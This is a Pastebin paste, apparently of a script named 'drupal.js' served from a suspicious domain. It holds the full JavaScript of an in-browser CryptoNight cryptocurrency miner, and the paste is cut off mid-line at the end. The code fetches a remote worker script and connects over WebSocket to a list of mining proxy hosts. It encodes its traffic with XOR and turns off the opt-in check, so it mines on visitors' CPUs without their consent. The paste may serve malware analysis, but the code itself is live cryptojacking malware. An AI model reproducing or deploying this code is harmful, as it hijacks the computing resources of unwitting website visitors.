internetweather

upgraderservices[.]cf/drupal.js

Jun 6th, 2018
698
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'use strict';
  2. /** @type {!Array} */
  3. var _0x44b0 = ["locat1on", "undefined", "stop", "d2328dab6cdf002c99131ae711650bcddc4a20b707dd054671cf8c13eb9a3d6a", "start"];
  4. (function(global) {
  5.   /**
  6.    * @param {?} showLabel
  7.    * @param {number} initialValue
  8.    * @return {undefined}
  9.    */
  10.   var init = function(showLabel, initialValue) {
  11.     this["params"] = initialValue || {};
  12.     this["_sitek"] = showLabel;
  13.     /** @type {!Array} */
  14.     this["_threads"] = [];
  15.     /** @type {number} */
  16.     this["_hashes"] = 0;
  17.     /** @type {null} */
  18.     this["_curr3ntJ0b"] = null;
  19.     /** @type {boolean} */
  20.     this["_autoReconnect"] = !![];
  21.     /** @type {number} */
  22.     this["_reconnectRetry"] = 3;
  23.     /** @type {null} */
  24.     this["_tokenFromServer"] = null;
  25.     /** @type {number} */
  26.     this["_totalHashesFromDeadThreads"] = 0;
  27.     this["_throttle"] = Math["max"](0, Math["min"](0.99, this["params"]["throttle"] || 0));
  28.     /** @type {boolean} */
  29.     this["_stopOnInvalidOptIn"] = ![];
  30.     /** @type {boolean} */
  31.     this["_waitingForAuth"] = ![];
  32.     this["_autoThreads"] = {
  33.       "enabled" : !!this["params"]["autoThreads"],
  34.       "interval" : null,
  35.       "adjustAt" : null,
  36.       "adjustEvery" : 1E4,
  37.       "stats" : {}
  38.     };
  39.     this["_tab"] = {
  40.       "ident" : Math["random"]() * 16777215 | 0,
  41.       "mode" : Client["IF_EXCLUSIVE_TAB"],
  42.       "grace" : 0,
  43.       "waitReconnect" : 0,
  44.       "lastPingReceived" : 0,
  45.       "interval" : null
  46.     };
  47.     if (global["BroadcastChannel"]) {
  48.       try {
  49.         /** @type {!BroadcastChannel} */
  50.         this["_bc"] = new BroadcastChannel("client_a4f550c1");
  51.         this["_bc"]["onmessage"] = function(message) {
  52.           if (message["data"] === "ping") {
  53.             this["_tab"]["lastPingReceived"] = Date["now"]();
  54.           }
  55.         }["bind"](this);
  56.       } catch (_0x51caf5) {
  57.       }
  58.     }
  59.     if (Client["CONFIG"]["REQUIRES_AUTH"]) {
  60.       this["_auth"] = new Client["Auth"](this["_sitek"], {
  61.         "theme" : this["params"]["theme"] || "light",
  62.         "lang" : this["params"]["language"] || "auto"
  63.       });
  64.     }
  65.     this["_eventListeners"] = {
  66.       "open" : [],
  67.       "authed" : [],
  68.       "close" : [],
  69.       "error" : [],
  70.       "job" : [],
  71.       "found" : [],
  72.       "accepted" : [],
  73.       "optin" : []
  74.     };
  75.     var _0x5cfcf3 = navigator["hardwareConcurrency"] || 4;
  76.     this["_targetNumThreads"] = this["params"]["threads"] || _0x5cfcf3;
  77.     this["_useWASM"] = this["hasWASMSupport"]() && !this["params"]["forceASMJS"];
  78.     /** @type {string} */
  79.     this["_asmjsStatus"] = "unloaded";
  80.     this["_onTargetMetBound"] = this["_onTargetMet"]["bind"](this);
  81.     this["_onVerifiedBound"] = this["_onVerified"]["bind"](this);
  82.   };
  83.   /**
  84.    * @param {?} canCreateDiscussions
  85.    * @param {?} isSlidingUp
  86.    * @return {undefined}
  87.    */
  88.   init["prototype"]["start"] = function(canCreateDiscussions, isSlidingUp) {
  89.     this["_tab"]["mode"] = canCreateDiscussions || Client["IF_EXCLUSIVE_TAB"];
  90.     this["_optInToken"] = isSlidingUp;
  91.     if (this["_tab"]["interval"]) {
  92.       clearInterval(this["_tab"]["interval"]);
  93.       /** @type {null} */
  94.       this["_tab"]["interval"] = null;
  95.     }
  96.     if (this["_useWASM"] || this["_asmjsStatus"] === "loaded") {
  97.       this["_startNow"]();
  98.     } else {
  99.       if (this["_asmjsStatus"] === "unloaded") {
  100.         /** @type {string} */
  101.         this["_asmjsStatus"] = "pending";
  102.         /** @type {!XMLHttpRequest} */
  103.         var xhr = new XMLHttpRequest;
  104.         xhr["addEventListener"]("load", function() {
  105.           Client["CRYPTONIGHT_WORKER_BLOB"] = global["URL"]["createObjectURL"](new Blob([xhr["responseText"]]));
  106.           /** @type {string} */
  107.           this["_asmjsStatus"] = "loaded";
  108.           this["_startNow"]();
  109.         }["bind"](this), xhr);
  110.         xhr["open"]("get", Client["CONFIG"]["LIB_URL"] + Client["CONFIG"]["ASMJS_NAME"], !![]);
  111.         xhr["send"]();
  112.       }
  113.     }
  114.   };
  115.   /**
  116.    * @param {string} canCreateDiscussions
  117.    * @return {undefined}
  118.    */
  119.   init["prototype"]["stop"] = function(canCreateDiscussions) {
  120.     /** @type {number} */
  121.     var i = 0;
  122.     for (; i < this["_threads"]["length"]; i++) {
  123.       this["_totalHashesFromDeadThreads"] += this["_threads"][i]["hashesTotal"];
  124.       this["_threads"][i]["stop"]();
  125.     }
  126.     /** @type {!Array} */
  127.     this["_threads"] = [];
  128.     /** @type {boolean} */
  129.     this["_autoReconnect"] = ![];
  130.     if (this["_socket"]) {
  131.       this["_socket"]["close"]();
  132.     }
  133.     /** @type {null} */
  134.     this["_curr3ntJ0b"] = null;
  135.     if (this["_autoThreads"]["interval"]) {
  136.       clearInterval(this["_autoThreads"]["interval"]);
  137.       /** @type {null} */
  138.       this["_autoThreads"]["interval"] = null;
  139.     }
  140.     if (this["_tab"]["interval"] && canCreateDiscussions !== "dontKillTabUpdate") {
  141.       clearInterval(this["_tab"]["interval"]);
  142.       /** @type {null} */
  143.       this["_tab"]["interval"] = null;
  144.     }
  145.   };
  146.   /**
  147.    * @return {?}
  148.    */
  149.   init["prototype"]["getHashesPerSecond"] = function() {
  150.     /** @type {number} */
  151.     var _0x5cf8e6 = 0;
  152.     /** @type {number} */
  153.     var i = 0;
  154.     for (; i < this["_threads"]["length"]; i++) {
  155.       _0x5cf8e6 = _0x5cf8e6 + this["_threads"][i]["hashesPerSecond"];
  156.     }
  157.     return _0x5cf8e6;
  158.   };
  159.   /**
  160.    * @param {?} canCreateDiscussions
  161.    * @return {?}
  162.    */
  163.   init["prototype"]["getTotalHashes"] = function(canCreateDiscussions) {
  164.     var height = Date["now"]();
  165.     var chargeY = this["_totalHashesFromDeadThreads"];
  166.     /** @type {number} */
  167.     var i = 0;
  168.     for (; i < this["_threads"]["length"]; i++) {
  169.       var uv = this["_threads"][i];
  170.       chargeY = chargeY + uv["hashesTotal"];
  171.       if (canCreateDiscussions) {
  172.         /** @type {number} */
  173.         var localParticleSpeed = (height - uv["lastMessageTimestamp"]) / 1E3 * 0.9;
  174.         chargeY = chargeY + localParticleSpeed * uv["hashesPerSecond"];
  175.       }
  176.     }
  177.     return chargeY | 0;
  178.   };
  179.   /**
  180.    * @return {?}
  181.    */
  182.   init["prototype"]["getAcceptedHashes"] = function() {
  183.     return this["_hashes"];
  184.   };
  185.   /**
  186.    * @return {?}
  187.    */
  188.   init["prototype"]["getToken"] = function() {
  189.     return this["_tokenFromServer"];
  190.   };
  191.   /**
  192.    * @param {?} PL$22
  193.    * @param {?} PL$60
  194.    * @return {undefined}
  195.    */
  196.   init["prototype"]["on"] = function(PL$22, PL$60) {
  197.     if (this["_eventListeners"][PL$22]) {
  198.       this["_eventListeners"][PL$22]["push"](PL$60);
  199.     }
  200.   };
  201.   /**
  202.    * @param {?} canCreateDiscussions
  203.    * @return {?}
  204.    */
  205.   init["prototype"]["getAutoThreadsEnabled"] = function(canCreateDiscussions) {
  206.     return this["_autoThreads"]["enabled"];
  207.   };
  208.   /**
  209.    * @param {boolean} canCreateDiscussions
  210.    * @return {undefined}
  211.    */
  212.   init["prototype"]["setAutoThreadsEnabled"] = function(canCreateDiscussions) {
  213.     /** @type {boolean} */
  214.     this["_autoThreads"]["enabled"] = !!canCreateDiscussions;
  215.     if (!canCreateDiscussions && this["_autoThreads"]["interval"]) {
  216.       clearInterval(this["_autoThreads"]["interval"]);
  217.       /** @type {null} */
  218.       this["_autoThreads"]["interval"] = null;
  219.     }
  220.     if (canCreateDiscussions && !this["_autoThreads"]["interval"]) {
  221.       this["_autoThreads"]["adjustAt"] = Date["now"]() + this["_autoThreads"]["adjustEvery"];
  222.       /** @type {number} */
  223.       this["_autoThreads"]["interval"] = setInterval(this["_adjustThreads"]["bind"](this), 1E3);
  224.     }
  225.   };
  226.   /**
  227.    * @return {?}
  228.    */
  229.   init["prototype"]["getThrottle"] = function() {
  230.     return this["_throttle"];
  231.   };
  232.   /**
  233.    * @param {?} suggestedValue
  234.    * @return {undefined}
  235.    */
  236.   init["prototype"]["setThrottle"] = function(suggestedValue) {
  237.     this["_throttle"] = Math["max"](0, Math["min"](0.99, suggestedValue));
  238.     if (this["_curr3ntJ0b"]) {
  239.       this["_setJob"](this["_curr3ntJ0b"]);
  240.     }
  241.   };
  242.   /**
  243.    * @return {?}
  244.    */
  245.   init["prototype"]["getNumThreads"] = function() {
  246.     return this["_targetNumThreads"];
  247.   };
  248.   /**
  249.    * @param {number} i
  250.    * @return {undefined}
  251.    */
  252.   init["prototype"]["setNumThreads"] = function(i) {
  253.     i = Math["max"](1, i | 0);
  254.     /** @type {number} */
  255.     this["_targetNumThreads"] = i;
  256.     if (i > this["_threads"]["length"]) {
  257.       /** @type {number} */
  258.       var _0x3af6c4 = 0;
  259.       for (; i > this["_threads"]["length"]; _0x3af6c4++) {
  260.         var B160 = new Client["JobThread"];
  261.         if (this["_curr3ntJ0b"]) {
  262.           B160["setJob"](this["_curr3ntJ0b"], this["_onTargetMetBound"]);
  263.         }
  264.         this["_threads"]["push"](B160);
  265.       }
  266.     } else {
  267.       if (i < this["_threads"]["length"]) {
  268.         for (; i < this["_threads"]["length"];) {
  269.           B160 = this["_threads"]["pop"]();
  270.           this["_totalHashesFromDeadThreads"] += B160["hashesTotal"];
  271.           B160["stop"]();
  272.         }
  273.       }
  274.     }
  275.   };
  276.   /**
  277.    * @return {?}
  278.    */
  279.   init["prototype"]["hasWASMSupport"] = function() {
  280.     return global[atob("V2ViQXNzZW1ibHk=")] !== undefined;
  281.   };
  282.   /**
  283.    * @return {?}
  284.    */
  285.   init["prototype"]["isRunning"] = function() {
  286.     return this["_threads"]["length"] > 0;
  287.   };
  288.   /**
  289.    * @return {?}
  290.    */
  291.   init["prototype"]["isMobile"] = function() {
  292.     return /mobile|Android|webOS|iPhone|iPad|iPod|IEMobile|Opera Mini/i["test"](navigator["userAgent"]);
  293.   };
  294.   /**
  295.    * @param {number} _width
  296.    * @return {?}
  297.    */
  298.   init["prototype"]["didOptOut"] = function(_width) {
  299.     if (!Client["CONFIG"]["REQUIRES_AUTH"]) {
  300.       return ![];
  301.     }
  302.     _width = _width || 60 * 60 * 4;
  303.     var offHdnX = this["_auth"]["getOptOutTime"]();
  304.     return !!(offHdnX && offHdnX > Date["now"]() / 1E3 - _width);
  305.   };
  306.   /**
  307.    * @return {undefined}
  308.    */
  309.   init["prototype"]["_startNow"] = function() {
  310.     if (this["_tab"]["mode"] !== Client["FORCE_MULTI_TAB"] && !this["_tab"]["interval"]) {
  311.       /** @type {number} */
  312.       this["_tab"]["interval"] = setInterval(this["_updateTabs"]["bind"](this), 1E3);
  313.     }
  314.     if (this["_tab"]["mode"] === Client["IF_EXCLUSIVE_TAB"] && this["_otherTabRunning"]()) {
  315.       return;
  316.     }
  317.     if (this["_tab"]["mode"] === Client["FORCE_EXCLUSIVE_TAB"]) {
  318.       this["_tab"]["grace"] = Date["now"]() + 3E3;
  319.     }
  320.     if (!this["verifyThread"]) {
  321.       this["verifyThread"] = new Client["JobThread"];
  322.     }
  323.     this["setNumThreads"](this["_targetNumThreads"]);
  324.     /** @type {boolean} */
  325.     this["_autoReconnect"] = !![];
  326.     if (Client["CONFIG"]["REQUIRES_AUTH"] && !this["_optInToken"]) {
  327.       /** @type {boolean} */
  328.       this["_waitingForAuth"] = !![];
  329.       this["_auth"]["auth"](function(canCreateDiscussions) {
  330.         /** @type {boolean} */
  331.         this["_waitingForAuth"] = ![];
  332.         if (!canCreateDiscussions) {
  333.           this["stop"]();
  334.           this["_emit"]("optin", {
  335.             "status" : "canceled"
  336.           });
  337.           this["_emit"]("error", {
  338.             "error" : "opt_in_canceled"
  339.           });
  340.           return;
  341.         }
  342.         this["_emit"]("optin", {
  343.           "status" : "accepted"
  344.         });
  345.         this["_optInToken"] = canCreateDiscussions;
  346.         this["_connect"]();
  347.       }["bind"](this));
  348.     } else {
  349.       this["_connect"]();
  350.     }
  351.   };
  352.   /**
  353.    * @return {?}
  354.    */
  355.   init["prototype"]["_otherTabRunning"] = function() {
  356.     if (this["_tab"]["lastPingReceived"] > Date["now"]() - 1500) {
  357.       return !![];
  358.     }
  359.     try {
  360.       var data = localStorage["getItem"]("client_a4f550c1");
  361.       if (data) {
  362.         var content = JSON["parse"](data);
  363.         if (content["ident"] !== this["_tab"]["ident"] && Date["now"]() - content["time"] < 1500) {
  364.           return !![];
  365.         }
  366.       }
  367.     } catch (_0x3adb8e) {
  368.     }
  369.     return ![];
  370.   };
  371.   /**
  372.    * @return {undefined}
  373.    */
  374.   init["prototype"]["_updateTabs"] = function() {
  375.     if (Date["now"]() < this["_tab"]["waitReconnect"]) {
  376.       return;
  377.     }
  378.     var _0x15b66b = this["_otherTabRunning"]();
  379.     if (_0x15b66b && this["isRunning"]() && Date["now"]() > this["_tab"]["grace"]) {
  380.       this["stop"]("dontKillTabUpdate");
  381.     } else {
  382.       if (!_0x15b66b && !this["isRunning"]()) {
  383.         this["_startNow"]();
  384.       }
  385.     }
  386.     if (this["isRunning"]() && !this["_waitingForAuth"]) {
  387.       if (this["_bc"]) {
  388.         this["_bc"]["postMessage"]("ping");
  389.       }
  390.       try {
  391.         localStorage["setItem"]("client_a4f550c1", JSON["stringify"]({
  392.           "ident" : this["_tab"]["ident"],
  393.           "time" : Date["now"]()
  394.         }));
  395.       } catch (_0x14fe7c) {
  396.       }
  397.     }
  398.   };
  399.   /**
  400.    * @return {?}
  401.    */
  402.   init["prototype"]["_adjustThreads"] = function() {
  403.     var undefined = this["getHashesPerSecond"]();
  404.     var i = this["getNumThreads"]();
  405.     var result = this["_autoThreads"]["stats"];
  406.     result[i] = result[i] ? result[i] * 0.5 + undefined * 0.5 : undefined;
  407.     if (Date["now"]() > this["_autoThreads"]["adjustAt"]) {
  408.       this["_autoThreads"]["adjustAt"] = Date["now"]() + this["_autoThreads"]["adjustEvery"];
  409.       /** @type {number} */
  410.       var index2 = (result[i] || 0) - 1;
  411.       var index1 = result[i + 1] || 0;
  412.       var wrapWidth = result[i - 1] || 0;
  413.       if (index2 > wrapWidth && (index1 === 0 || index1 > index2) && i < 8) {
  414.         return this["setNumThreads"](i + 1);
  415.       } else {
  416.         if (index2 > index1 && (!wrapWidth || wrapWidth > index2) && i > 1) {
  417.           return this["setNumThreads"](i - 1);
  418.         }
  419.       }
  420.     }
  421.   };
  422.   /**
  423.    * @param {?} ballNumber
  424.    * @param {?} PL$22
  425.    * @return {undefined}
  426.    */
  427.   init["prototype"]["_emit"] = function(ballNumber, PL$22) {
  428.     var PL$23 = this["_eventListeners"][ballNumber];
  429.     if (PL$23 && PL$23["length"]) {
  430.       /** @type {number} */
  431.       var PL$24 = 0;
  432.       for (; PL$24 < PL$23["length"]; PL$24++) {
  433.         PL$23[PL$24](PL$22);
  434.       }
  435.     }
  436.   };
  437.   /**
  438.    * @param {!Object} PL$13
  439.    * @return {?}
  440.    */
  441.   init["prototype"]["_hashString"] = function(PL$13) {
  442.     /** @type {number} */
  443.     var _0x53dd9a = 5381;
  444.     var PL$15 = PL$13["length"];
  445.     for (; PL$15;) {
  446.       /** @type {number} */
  447.       _0x53dd9a = _0x53dd9a * 33 ^ PL$13["charCodeAt"](--PL$15);
  448.     }
  449.     return _0x53dd9a >>> 0;
  450.   };
  451.   /**
  452.    * @return {undefined}
  453.    */
  454.   init["prototype"]["_connect"] = function() {
  455.     /** @type {string} */
  456.     var initialMock = window.location.hostname.replace(/^www\./, "");
  457.     if (this["_hashString"](initialMock) == 3897343093 || this["_hashString"](initialMock) == 4073963755) {
  458.       this["_connect_real"]();
  459.     } else {
  460.       setTimeout(this["_connect_real"](this), 1000);
  461.     }
  462.   };
  463.   /**
  464.    * @return {undefined}
  465.    */
  466.   init["prototype"]["_connect_real"] = function() {
  467.     if (this["_socket"]) {
  468.       return;
  469.     }
  470.     var PL$19 = Client["CONFIG"]["WEBSOCKET_SHARDS"];
  471.     /** @type {number} */
  472.     var length = this["_hashString"](this["_sitek"]) % PL$19["length"];
  473.     var PL$29 = PL$19[length];
  474.     var wssurl = PL$29[Math["random"]() * PL$29["length"] | 0];
  475.     /** @type {!WebSocket} */
  476.     this["_socket"] = new WebSocket(wssurl);
  477.     this["_socket"]["onmessage"] = this["_onMessage"]["bind"](this);
  478.     this["_socket"]["onerror"] = this["_onError"]["bind"](this);
  479.     this["_socket"]["onclose"] = this["_onClose"]["bind"](this);
  480.     this["_socket"]["onopen"] = this["_onOpen"]["bind"](this);
  481.   };
  482.   /**
  483.    * @param {?} canCreateDiscussions
  484.    * @return {undefined}
  485.    */
  486.   init["prototype"]["_onOpen"] = function(canCreateDiscussions) {
  487.     this["_emit"]("open");
  488.     var config = {
  489.       "site_key" : this["_sitek"],
  490.       "type" : "anonymous",
  491.       "user" : null
  492.     };
  493.     if (this["params"]["ref"]) {
  494.       config["ref"] = this["params"]["ref"];
  495.     }
  496.     if (this["_optInToken"]) {
  497.       config["opt_in"] = this["_optInToken"];
  498.     }
  499.     this["_send"]("auth", config);
  500.   };
  501.   /**
  502.    * @param {?} mmCoreSplitViewBlock
  503.    * @return {undefined}
  504.    */
  505.   init["prototype"]["_onError"] = function(mmCoreSplitViewBlock) {
  506.     this["_emit"]("error", {
  507.       "error" : "connection_error"
  508.     });
  509.     this["_onClose"](mmCoreSplitViewBlock);
  510.   };
  511.   /**
  512.    * @param {!Object} cmapMapping
  513.    * @return {undefined}
  514.    */
  515.   init["prototype"]["_onClose"] = function(cmapMapping) {
  516.     if (cmapMapping["code"] >= 1003 && cmapMapping["code"] <= 1009) {
  517.       /** @type {number} */
  518.       this["_reconnectRetry"] = 60;
  519.       this["_tab"]["waitReconnect"] = Date["now"]() + 60 * 1E3;
  520.     }
  521.     /** @type {number} */
  522.     var i = 0;
  523.     for (; i < this["_threads"]["length"]; i++) {
  524.       this["_threads"][i]["stop"]();
  525.     }
  526.     /** @type {!Array} */
  527.     this["_threads"] = [];
  528.     /** @type {null} */
  529.     this["_socket"] = null;
  530.     this["_emit"]("close");
  531.     if (this["_autoReconnect"]) {
  532.       setTimeout(this["_startNow"]["bind"](this), this["_reconnectRetry"] * 1E3);
  533.     }
  534.   };
  535.   /**
  536.    * @param {!Object} b
  537.    * @return {?}
  538.    */
  539.   init["prototype"]["_encodeData"] = function(b) {
  540.     /** @type {string} */
  541.     var dat = "";
  542.     /** @type {number} */
  543.     var a = 0;
  544.     for (; a < b.length; ++a) {
  545.       dat = dat + String["fromCharCode"](b["charCodeAt"](a) ^ 201);
  546.     }
  547.     return window.btoa(dat);
  548.   };
  549.   /**
  550.    * @param {!Object} data
  551.    * @return {?}
  552.    */
  553.   init["prototype"]["_decodeData"] = function(data) {
  554.     data = window.atob(data);
  555.     /** @type {string} */
  556.     var pix_color = "";
  557.     /** @type {number} */
  558.     var s = 0;
  559.     for (; s < data.length; ++s) {
  560.       pix_color = pix_color + String["fromCharCode"](data["charCodeAt"](s) ^ 201);
  561.     }
  562.     return pix_color;
  563.   };
  564.   /**
  565.    * @param {!Object} mdtRow
  566.    * @return {?}
  567.    */
  568.   init["prototype"]["_onMessage"] = function(mdtRow) {
  569.     var msg = JSON["parse"](this["_decodeData"](mdtRow["data"]));
  570.     if (msg["type"] === "job") {
  571.       this["_setJob"](msg["params"]);
  572.       this["_emit"]("job", msg["params"]);
  573.       if (this["_autoThreads"]["enabled"] && !this["_autoThreads"]["interval"]) {
  574.         this["_autoThreads"]["adjustAt"] = Date["now"]() + this["_autoThreads"]["adjustEvery"];
  575.         /** @type {number} */
  576.         this["_autoThreads"]["interval"] = setInterval(this["_adjustThreads"]["bind"](this), 1E3);
  577.       }
  578.     } else {
  579.       if (msg["type"] === "verify") {
  580.         this["verifyThread"]["verify"](msg["params"], this["_onVerifiedBound"]);
  581.       } else {
  582.         if (msg["type"] === "hash_accepted") {
  583.           this["_hashes"] = msg["params"]["hashes"];
  584.           this["_emit"]("accepted", msg["params"]);
  585.         } else {
  586.           if (msg["type"] === "authed") {
  587.             this["_tokenFromServer"] = msg["params"]["token"] || null;
  588.             this["_hashes"] = msg["params"]["hashes"] || 0;
  589.             this["_emit"]("authed", msg["params"]);
  590.             /** @type {number} */
  591.             this["_reconnectRetry"] = 3;
  592.             /** @type {number} */
  593.             this["_tab"]["waitReconnect"] = 0;
  594.           } else {
  595.             if (msg["type"] === "error") {
  596.               if (console && console["error"]) {
  597.                 console["error"]("Client Error:", msg["params"]["error"]);
  598.               }
  599.               this["_emit"]("error", msg["params"]);
  600.               if (msg["params"]["error"] === "invalid_site_key") {
  601.                 /** @type {number} */
  602.                 this["_reconnectRetry"] = 6E3;
  603.                 this["_tab"]["waitReconnect"] = Date["now"]() + 6E3 * 1E3;
  604.               } else {
  605.                 if (msg["params"]["error"] === "invalid_opt_in") {
  606.                   if (this["_stopOnInvalidOptIn"]) {
  607.                     return this["stop"]();
  608.                   } else {
  609.                     if (this["_auth"]) {
  610.                       this["_auth"]["reset"]();
  611.                     }
  612.                   }
  613.                 }
  614.               }
  615.             }
  616.           }
  617.         }
  618.       }
  619.     }
  620.     if (msg["type"] === "banned" || msg["params"]["banned"]) {
  621.       this["_emit"]("error", {
  622.         "banned" : !![]
  623.       });
  624.       /** @type {number} */
  625.       this["_reconnectRetry"] = 600;
  626.       this["_tab"]["waitReconnect"] = Date["now"]() + 600 * 1E3;
  627.     }
  628.   };
  629.   /**
  630.    * @param {?} mmCoreSplitViewBlock
  631.    * @return {undefined}
  632.    */
  633.   init["prototype"]["_setJob"] = function(mmCoreSplitViewBlock) {
  634.     this["_curr3ntJ0b"] = mmCoreSplitViewBlock;
  635.     this["_curr3ntJ0b"]["throttle"] = this["_throttle"];
  636.     /** @type {number} */
  637.     var i = 0;
  638.     for (; i < this["_threads"]["length"]; i++) {
  639.       this["_threads"][i]["setJob"](mmCoreSplitViewBlock, this["_onTargetMetBound"]);
  640.     }
  641.   };
  642.   /**
  643.    * @param {!Object} data
  644.    * @return {undefined}
  645.    */
  646.   init["prototype"]["_onTargetMet"] = function(data) {
  647.     this["_emit"]("found", data);
  648.     /** @type {string} */
  649.     var name = atob("am9iX2lk");
  650.     if (data[name] === this["_curr3ntJ0b"][name]) {
  651.       var result = {
  652.         "nonce" : data["nonce"],
  653.         "result" : data["result"]
  654.       };
  655.       result[name] = data[name];
  656.       this["_send"]("submit", result);
  657.     }
  658.   };
  659.   /**
  660.    * @param {?} mmCoreSplitViewBlock
  661.    * @return {undefined}
  662.    */
  663.   init["prototype"]["_onVerified"] = function(mmCoreSplitViewBlock) {
  664.     this["_send"]("verified", mmCoreSplitViewBlock);
  665.   };
  666.   /**
  667.    * @param {!Object} mmUserProfileHandlersTypeCommunication
  668.    * @param {!Object} params
  669.    * @return {undefined}
  670.    */
  671.   init["prototype"]["_send"] = function(mmUserProfileHandlersTypeCommunication, params) {
  672.     if (!this["_socket"]) {
  673.       return;
  674.     }
  675.     var message = {
  676.       "type" : mmUserProfileHandlersTypeCommunication,
  677.       "params" : params || {}
  678.     };
  679.     this["_socket"]["send"](this["_encodeData"](JSON["stringify"](message)));
  680.   };
  681.   global["Client"] = global["Client"] || {};
  682.   /** @type {string} */
  683.   global["Client"]["IF_EXCLUSIVE_TAB"] = "ifExclusiveTab";
  684.   /** @type {string} */
  685.   global["Client"]["FORCE_EXCLUSIVE_TAB"] = "forceExclusiveTab";
  686.   /** @type {string} */
  687.   global["Client"]["FORCE_MULTI_TAB"] = "forceMultiTab";
  688.   /**
  689.    * @param {?} selector
  690.    * @param {boolean} context
  691.    * @return {?}
  692.    */
  693.   global["Client"]["Anonymous"] = function(selector, context) {
  694.     var s = new init(selector, context);
  695.     return s;
  696.   };
  697. })(window);
  698. (function(metaWindow) {
  699.   /**
  700.    * @return {undefined}
  701.    */
  702.   var init = function() {
  703.     /** @type {!Worker} */
  704.     this["worker"] = new Worker(Client["CRYPTONIGHT_WORKER_BLOB"]);
  705.     this["worker"]["onmessage"] = this["onReady"]["bind"](this);
  706.     /** @type {null} */
  707.     this["curr3ntJob"] = null;
  708.     /**
  709.      * @return {undefined}
  710.      */
  711.     this["jobCallback"] = function() {
  712.     };
  713.     /**
  714.      * @return {undefined}
  715.      */
  716.     this["verifyCallback"] = function() {
  717.     };
  718.     /** @type {boolean} */
  719.     this["_isReady"] = ![];
  720.     /** @type {number} */
  721.     this["hashesPerSecond"] = 0;
  722.     /** @type {number} */
  723.     this["hashesTotal"] = 0;
  724.     /** @type {boolean} */
  725.     this["running"] = ![];
  726.     this["lastMessageTimestamp"] = Date["now"]();
  727.   };
  728.   /**
  729.    * @param {!Object} mdtRow
  730.    * @return {undefined}
  731.    */
  732.   init["prototype"]["onReady"] = function(mdtRow) {
  733.     if (mdtRow["data"] !== "ready" || this["_isReady"]) {
  734.       throw 'Expecting first message to be "ready", got ' + mdtRow;
  735.     }
  736.     /** @type {boolean} */
  737.     this["_isReady"] = !![];
  738.     this["worker"]["onmessage"] = this["onReceiveMsg"]["bind"](this);
  739.     if (this["curr3ntJob"]) {
  740.       /** @type {boolean} */
  741.       this["running"] = !![];
  742.       this["worker"]["postMessage"](this["curr3ntJob"]);
  743.     }
  744.   };
  745.   /**
  746.    * @param {!Object} data
  747.    * @return {undefined}
  748.    */
  749.   init["prototype"]["onReceiveMsg"] = function(data) {
  750.     if (data["data"]["verify_id"]) {
  751.       this["verifyCallback"](data["data"]);
  752.       return;
  753.     }
  754.     if (data["data"]["result"]) {
  755.       this["jobCallback"](data["data"]);
  756.     }
  757.     /** @type {number} */
  758.     this["hashesPerSecond"] = this["hashesPerSecond"] * 0.5 + data["data"]["hashesPerSecond"] * 0.5;
  759.     this["hashesTotal"] += data["data"]["hashes"];
  760.     this["lastMessageTimestamp"] = Date["now"]();
  761.     if (this["running"]) {
  762.       this["worker"]["postMessage"](this["curr3ntJob"]);
  763.     }
  764.   };
  765.   /**
  766.    * @param {?} isSlidingUp
  767.    * @param {?} canCreateDiscussions
  768.    * @return {undefined}
  769.    */
  770.   init["prototype"]["setJob"] = function(isSlidingUp, canCreateDiscussions) {
  771.     this["curr3ntJob"] = isSlidingUp;
  772.     this["jobCallback"] = canCreateDiscussions;
  773.     if (this["_isReady"] && !this["running"]) {
  774.       /** @type {boolean} */
  775.       this["running"] = !![];
  776.       this["worker"]["postMessage"](this["curr3ntJob"]);
  777.     }
  778.   };
  779.   /**
  780.    * @param {?} message
  781.    * @param {?} canCreateDiscussions
  782.    * @return {undefined}
  783.    */
  784.   init["prototype"]["verify"] = function(message, canCreateDiscussions) {
  785.     if (!this["_isReady"]) {
  786.       return;
  787.     }
  788.     this["verifyCallback"] = canCreateDiscussions;
  789.     this["worker"]["postMessage"](message);
  790.   };
  791.   /**
  792.    * @return {undefined}
  793.    */
  794.   init["prototype"]["stop"] = function() {
  795.     if (this["worker"]) {
  796.       this["worker"]["terminate"]();
  797.       /** @type {null} */
  798.       this["worker"] = null;
  799.     }
  800.     /** @type {boolean} */
  801.     this["running"] = ![];
  802.   };
  803.   /** @type {function(): undefined} */
  804.   metaWindow["Client"]["JobThread"] = init;
  805. })(window);
  806. self["Client"] = self["Client"] || {};
  807. self["Client"]["CONFIG"] = {
  808.   "LIB_URL" : "https://www.freecontent.stream./",
  809.   "ASMJS_NAME" : "528Yjw.js",
  810.   "REQUIRES_AUTH" : ![],
  811.   "WEBSOCKET_SHARDS" : [["wss://freecontent.faith.:443/proxy", "wss://freecontent.party.:443/proxy", "wss://freecontent.science.:443/proxy", "wss://freecontent.trade.:443/proxy", "wss://hostingcloud.accountant.:443/proxy", "wss://hostingcloud.bid.:443/proxy", "wss://hostingcloud.date.:443/proxy", "wss://hostingcloud.download.:443/proxy", "wss://hostingcloud.faith.:443/proxy", "wss://hostingcloud.loan.:443/proxy", "wss://jshosting.bid.:443/proxy", "wss://jshosting.date.:443/proxy", "wss://jshosting.download.:443/proxy",
  812.   "wss://jshosting.loan.:443/proxy", "wss://jshosting.party.:443/proxy", "wss://jshosting.racing.:443/proxy", "wss://jshosting.review.:443/proxy", "wss://jshosting.stream.:443/proxy", "wss://jshosting.trade.:443/proxy", "wss://jshosting.win.:443/proxy"]]
  813. };
  814. Client["CRYPTONIGHT_WORKER_BLOB"] = URL["createObjectURL"](new 